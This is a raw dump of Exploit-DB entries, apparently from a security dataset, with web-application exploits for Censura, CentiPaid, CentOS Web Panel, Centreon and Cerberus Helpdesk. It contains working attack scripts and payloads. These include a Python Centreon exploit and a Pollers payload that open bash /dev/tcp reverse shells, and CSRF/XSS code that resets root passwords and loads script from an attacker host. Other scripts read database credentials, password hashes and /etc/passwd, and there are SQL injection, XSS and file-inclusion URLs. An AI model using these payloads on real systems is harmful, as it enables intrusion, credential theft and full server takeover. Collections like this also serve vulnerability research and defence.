deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9129
Description: censura 1.16.04 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-12
Author: Vrs-hCk

Exploit:
================================================================================================

 Title    : (Blind SQL/XSS) Multiple Remote Vulnerabilities
 Software : Censura v1.16.04
 Vendor   : http://www.censura.info/
 
 Date     : 12 July 2009 (Indonesia)
 Author   : Vrs-hCk
 Contact  : d00r@telkom.net
 Blog     : http://c0li.blogspot.com/

 ================================================================================================

 [-] Exploit

     http://[site]/[path]/censura.php?cmd=details&itemid=[bSQL]
     http://[site]/[path]/censura.php?cmd=details&itemid=[XSS]

 [-] Demo

     http://www.yoozreviews.com/censura.php?cmd=details&itemid=61 and substring(@@version,1,1)=4
     http://www.yoozreviews.com/censura.php?cmd=details&itemid=<script>alert(123)</script>

 ================================================================================================

 Greetz   :

     Paman, NoGe, OoN_Boy, Angela Chang, pizzyroot, zxvf, ajegille, em|nem, loqsa, Fluzy,
     bl4Ck_3n91n3, H312Y, S3T4N, Janroe, and special muaacchh buat Dia yg Ku Cintai (*_^)
     c0li.m0de.0n and Behave oR BeGone !!!

 ================================================================================================

# milw0rm.com [2009-07-12]
Exploit-DB #33144
Description: Censura < 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-29
Author: mark99

Exploit:
source: https://www.securityfocus.com/bid/35920/info

Censura is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Censura 2.1.1 are vulnerable. 

http://www.example.com/review/productSearch.html?search=1&amp;action=ProductSearch&amp;q=%3CSCRIPT%2FSRC%3D%22http%3A%2F%2Fha.ckers.org%2Fxss.js%22%3E%3C%2FSCRIPT%3E&amp;vendorId=&amp;categoryId=&amp;submit=Search
Exploit-DB #2555
Description: CentiPaid 1.4.2 - 'centipaid_class.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-14
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
CentiPaid <= 1.4.2 [absolute_path] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : CentiPaid
version : 1.4.2
URL : http://www.centipaid.com/centi/download/centipaid_php-1.4.2.tar.gz
------------------------------------------------------------------


Exploit:
~~~~~~~~
Variable $absolute_path not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/centipaid_class.php?absolute_path=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~~~~~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-14]
Exploit-DB #45822
Description: CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-11-13
Author: InfinitumIT

Exploit:
# Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
# Author: InfinitumIT (https://infinitumit.com.tr)
# Vendor Homepage: centos-webpanel.com
# Software Link: http://centos-webpanel.com/cwp-latest
# Version: Up to v0.9.8.740.
# CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
#? Detailed: https://numanozdemir.com/respdisc/cwp.pdf

# Description:
# Attacker can change target server's root password and execute command, by CSRF vulnerability.
# Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS
# vulnerability and run bad-purposed JavaScript codes on administrator's browser.
# So, CSRF/XSS to full server takeover.

# How to Reproduce:
# Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
# Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update newpassword as the password that you want to change.)

# If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
# After exploiting, you can connect to server by Putty or access the CWP panel with the password
# that you have specified from 2030 port.

# The second vulnerability is remote command execution.
# Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
# Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update whoami as command that you want to run.)

# Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

# shouldnt think that CSRF/XSS are unimportant vulnerabilities.
# for secure days...
Exploit-DB #48256
Description: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
Type: webapps
Platform: php
Date: 2020-03-26
Author: Engin Demirbilek

Exploit:
# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event[PII_REDACTED] 

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
    print("[+] Logged In, retrieving second token")

    page = url + "/main.get.php?p=50118"
    second_token_req = req.get(page)
    response = second_token_req.text
    s = BeautifulSoup(response, 'html.parser')
    second_token = s.find('input', {'name':'centreon_token'})['value']

    payload = {
        "RRDdatabase_path": "/var/lib/centreon/metrics/",
        "RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
        "RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
        "reporting_retention": "365",
        "archive_retention": "31",
        "len_storage_mysql": "365",
        "len_storage_rrd": "180",
        "len_storage_downtimes": "0",
        "len_storage_comments": "0",
        "partitioning_retention": "365",
        "partitioning_retention_forward": "10",
        "cpartitioning_backup_directory": "/var/cache/centreon/backup",
        "audit_log_option": "1",
        "audit_log_retention": "0",
        "submitC": "Save",
        "gopt_id": "",
        "o": "storage",
        "o": "storage",
        "centreon_token": second_token,


    }
    print("[+] Sendin payload...")
    send_payload = req.post(page, payload)

    trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
    print("[+] Triggerring payload...")
    trigger = req.get(trigger_url)

    print("[+] Check your listener !...")

else:
    print("[-] Wrong credentials")
    exit()
Exploit-DB #5204
Description: Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-02-28
Author: Julien CAYSSOL

Exploit:
#!/usr/bin/python

# Date : 20/01/2008
# Author : Julien CAYSSOL <julien@aqwz.com>

import sys, urllib2,re


user_agent =  'Mozilla/6.0 (compatible; MSIE 6.0; Windows NT)'
headers =  { 'User-Agent'  : user_agent ,
                                'Accept-Charset' : 'ISO-8859-15' }


if __name__ == "__main__":

    if len(sys.argv)==2:
        host = sys.argv[1]
        print " [+] Host : " + host

        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../www/oreon.conf.php"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        html = re.sub('\n','',html)
        ident =re.findall('\$conf_oreon\[\'host\'\] = "(.*?)";\$conf_oreon\[\'user\'\] = "(.*?)";\$conf_oreon\[\'password\'\] = "(.*?)";\$conf_oreon\[\'db\'\] = "(.*?)";',html)
        print " [*] Result :  "
        print " + DB Host : "+ident[0][0]
        print " + DB Name : "+ident[0][3]
        print " + DB user : "+ident[0][1]
        print " + DB pass : "+ident[0][2]

        print " [*] /etc/passwd for Fun"
        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../../../../etc/passwd"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        print html

    else:
        print "./Poc.py HOST"

# milw0rm.com [2008-02-28]
Exploit-DB #31318
Description: Centreon 1.4.2.3 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-29
Author: JosS

Exploit:
source: https://www.securityfocus.com/bid/28052/info

Centreon is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain potentially sensitive information that may lead to further attacks.

This issue affects Centreon 1.4.2.3; other versions may also be vulnerable.

http://www.example.com/include/doc/index.php?page=../../www/oreon.conf.php
http://www.example.com/include/doc/index.php?page=../../../../../etc/passwd
http://www.example.com/include/doc/index.php?page=[Local File]
Exploit-DB #47977
Description: Centreon 19.10.5 - 'Pollers' Remote Command Execution
Type: webapps
Platform: php
Date: 2020-01-29
Author: Omri Baso

Exploit:
# Exploit Title: Centreon 19.10.5 - 'Pollers' Remote Command Execution
# Date: 2020-01-27
# Exploit Author: Omri Baso, Fabien Aunay
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7.7
# CVE : -


Centreon 19.10.5 Remote Command Execution Misc

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.


User input isn't sanitized for safe use - and it is possible to gain a Remote Code Execution of the server
hosting the Centreon Service leading to a full server takeover with the user "apache"

Steps:
1.) <BASEURL>/centreon/main.php?p=60803&type=3
     Here we create the Command - can also be found under
     Configuration  >  Commands  >  Miscellaneous
     we Press "Add" -
     Command Name: "misc"
     Payload: 0<&121-;exec 121<>/dev/tcp/127.0.0.1/1234;sh <&121 >&121 2>&121

2.) go to: <BASEURL>/centreon/main.php?p=60901
     Configuration  >  Pollers
     Open "Central" Poller
     add on "Post-Restart command"
     the command "misc" we created
     make Status "Enabled"

3.) Check the box "Post generation command" in the "Export Configuration" Tab
    3.1) Restart Poller and get Shell.




    ┌─[root@vps]─[~]
└──╼ #nc -lnvp 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:49184.
whoami
apache
id
uid=48(apache) gid=48(apache) groups=48(apache),990(centreon-engine),992(centreon-broker),993(nagios),994(centreon)
___________________________________________________________________
Exploit-DB #47968
Description: Centreon 19.10.5 - Database Credentials Disclosure
Type: webapps
Platform: php
Date: 2020-01-28
Author: Fabien AUNAY

Exploit:
# Exploit Title: Centreon 19.10.5 - Database Credentials Disclosure
# Date: 2020-01-27
# Exploit Author: Fabien AUNAY, Omri Baso
# Vendor Homepage: https://www.centreon.com/
# Software Link: https://github.com/centreon/centreon
# Version: 19.10.5
# Tested on: CentOS 7
# CVE : -

###########################################################################################################
Centreon 19.10.5 Database Credentials Disclosure

Trusted by SMBs and Fortune 500 companies worldwide.
An industry reference in IT Infrastructure monitoring for the enterprise.
Counts 200,000+ ITOM users worldwide and an international community of software collaborators.
Presence in Toronto and Luxembourg.
Deployed in diverse sectors:
- IT & telecommunication
- Transportation
- Government
- Heath care
- Retail
- Utilities
- Finance & Insurance
- Aerospace & Defense
- Manufacturing
- etc.

###########################################################################################################

POC:

- Configuration / Pollers / Broker configuration
-- Central-broker | Central-broker-master
--- Output

It is possible to discover the unencrypted password with the inspector.


DB user        centreon
DB password    ********
<input size="120" name="output[0][db_password]" type="password" value="ZVy892xx">
Exploit-DB #36293
Description: Centreon 2.3.1 - 'command_name' Remote Command Execution
Type: webapps
Platform: php
Date: 2011-11-04
Author: Christophe de la Fuente

Exploit:
source: https://www.securityfocus.com/bid/50568/info

Centreon is prone to a remote command-injection vulnerability.

Attackers can exploit this issue to execute arbitrary commands in the context of the application.

Centreon 2.3.1 is affected; other versions may also be vulnerable. 

http://www.example.com/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1
Exploit-DB #11979
Description: Centreon IT & Network Monitoring 2.1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-31
Author: Jonathan Salwan

Exploit:
#!/usr/bin/perl
# //--------[PoC]---------//
#
# Title	  : Centreon IT & Network Monitoring v2.1.5 - Injection SQL
# Version : 2.1.5
# Author  : Jonathan Salwan (j.salwan@sysdream.com)
#
#
# [Vuln sql injection]
# http://localhost/centreon/main.php?p=201&host_id=-1%20[SQL Injection]&o=p&min=1
# 
# http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1
#
#
# //-------[Credit]-------//
#
# http://www.sysdream.com
# http://www.shell-storm.org
#

use LWP::UserAgent;

my $url   = 'http://localhost/centreon/index.php';
my $login = 'login';
my $paswd = 'pwd';
my $sql   = 'http://localhost/centreon/main.php?p=201&host_id=-1 UNION SELECT 1,@@version,3,4,5&o=p&min=1';

my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
my $cook = $response->header('Set-Cookie');

my $req2 = $ua->post($url, 
	            {useralias => $login, password => $paswd, submit => 'login'},
                    Cookie => $cook,
		    Content-Type => 'application/x-www-form-urlencoded'
                    );

my $response = $ua->get($sql, Cookie => $cook);
my $content = $response->content();

	open(FILE, '>sql-centreon.txt');
	print FILE $content;
	close(FILE);

	print "\n[Answer SQL Injection]\n\n";

	my $selection = system('cat sql-centreon.txt | grep ">Host</td>"');
	unlink('sql-centreon.txt');	

print "\n";
Exploit-DB #39526
Description: Cerberus Helpdesk (Cerb5) 5 < 6.7 - Password Hash Disclosure
Type: webapps
Platform: php
Date: 2016-03-07
Author: asdizzle_

Exploit:
#!/bin/bash
#####################################################################################
# Exploit Title: Cerberus Helpdesk (Cerb5) Password Hash Grabbing                   #
# Date: 04.02.2016                                                                  #
# Exploit Author: asdizzle_                                                         #
# Vendor Homepage: http://www.cerberusweb.com/                                      #
# Software Link: http://www.cerberusweb.com/downloads/cerb5/archive/cerb5-5_4_4.zip #
# Version: 5 - 6.7                                                                  #
# Tested on: Debian 8 / apache2 with cerb 5                                         #
#####################################################################################
# Prerequisites:                                                                    #
#		-At least one worker must be logged in                              #
#		-/storage/tmp/ dir must be accessible                               #
#                                                                                   #
# If everything else fails try if there's directory listing in /storage/tmp         #
# You might find attachments and even support tickets.                              #
#####################################################################################

url='http://172.16.15.137/cerb5/5.4.4' # Full url (without /index.php/ !)
pre='devblocks' # If this doesn't work try 'zend'

echo "[*] Trying to fetch cache file"

cachechk=$(curl -s $url"/storage/tmp/"$pre"_cache---ch_workers" | grep pass)
if [ -z "$cachechk" ];then
	echo "[-] File not found."
	exit
else
	echo "[+] Found. Extracting..."
	hashes=$(echo "$cachechk" | sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g')
	if [ -z "$hashes" ];then
		echo "[-] Hash extracting failed"
	else
		echo "[+] Extracting seems to have worked"
		echo
		echo "$hashes"
	fi
fi
Exploit-DB #25803
Description: Cerberus Helpdesk 0.97.3/2.6.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-08
Author: Dedi Dwianto

Exploit:
source: https://www.securityfocus.com/bid/13897/info

Cerberus Helpdesk is affected by various cross-site scripting vulnerabilities.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

Cerberus Helpdesk version 0.97.3 to 2.6.1 are vulnerable to these issues. 

http://www.example.com/cerberus/index.php?errorcode=[Xss]&errorvalue=4&sid=[sessionid]
Exploit-DB #26974
Description: Cerberus Helpdesk 2.649 - 'addresses_export.php?queues' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-27
Author: A. Ramos

Exploit:
source: https://www.securityfocus.com/bid/16062/info
 
Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.
 
The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

POST: /cerberus-gui/addresses_export.php
sid=c61ce82aa50569705dd774c33644446c&queues%5B%5D=[SQL]&delimiter=comma&file_type=screen&form_submit=x
Exploit-DB #26973
Description: Cerberus Helpdesk 2.649 - 'cer_KnowledgebaseHandler.class.php?_load_article_details' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-27
Author: A. Ramos

Exploit:
source: https://www.securityfocus.com/bid/16062/info

Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.

The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/cerberus-gui/knowledgebase.php?mode=view_entry&root=2&sid=c7bb6a0d5f83d61d75053c85c14af247&kbid=4 [SQL]
Exploit-DB #26975
Description: Cerberus Helpdesk 2.649 - 'display_ticket_thread.php?ticket' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-27
Author: A. Ramos

Exploit:
source: https://www.securityfocus.com/bid/16062/info
  
Cerberus Helpdesk is prone to multiple cross-site scripting and SQL injection vulnerabilities. These issues are the result of inadequate validation of user-supplied input that will be included in site output or in SQL queries.
  
The cross-site scripting vulnerability may permit a remote attacker to steal cookie-based authentication credentials from legitimate users. Successful exploitation of SQL injection vulnerabilities could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/cerberus-gui/display_ticket_thread.php?type=comment&sid=a640d024f84be01320aacb0ec6c87d74&ticket=[SQL]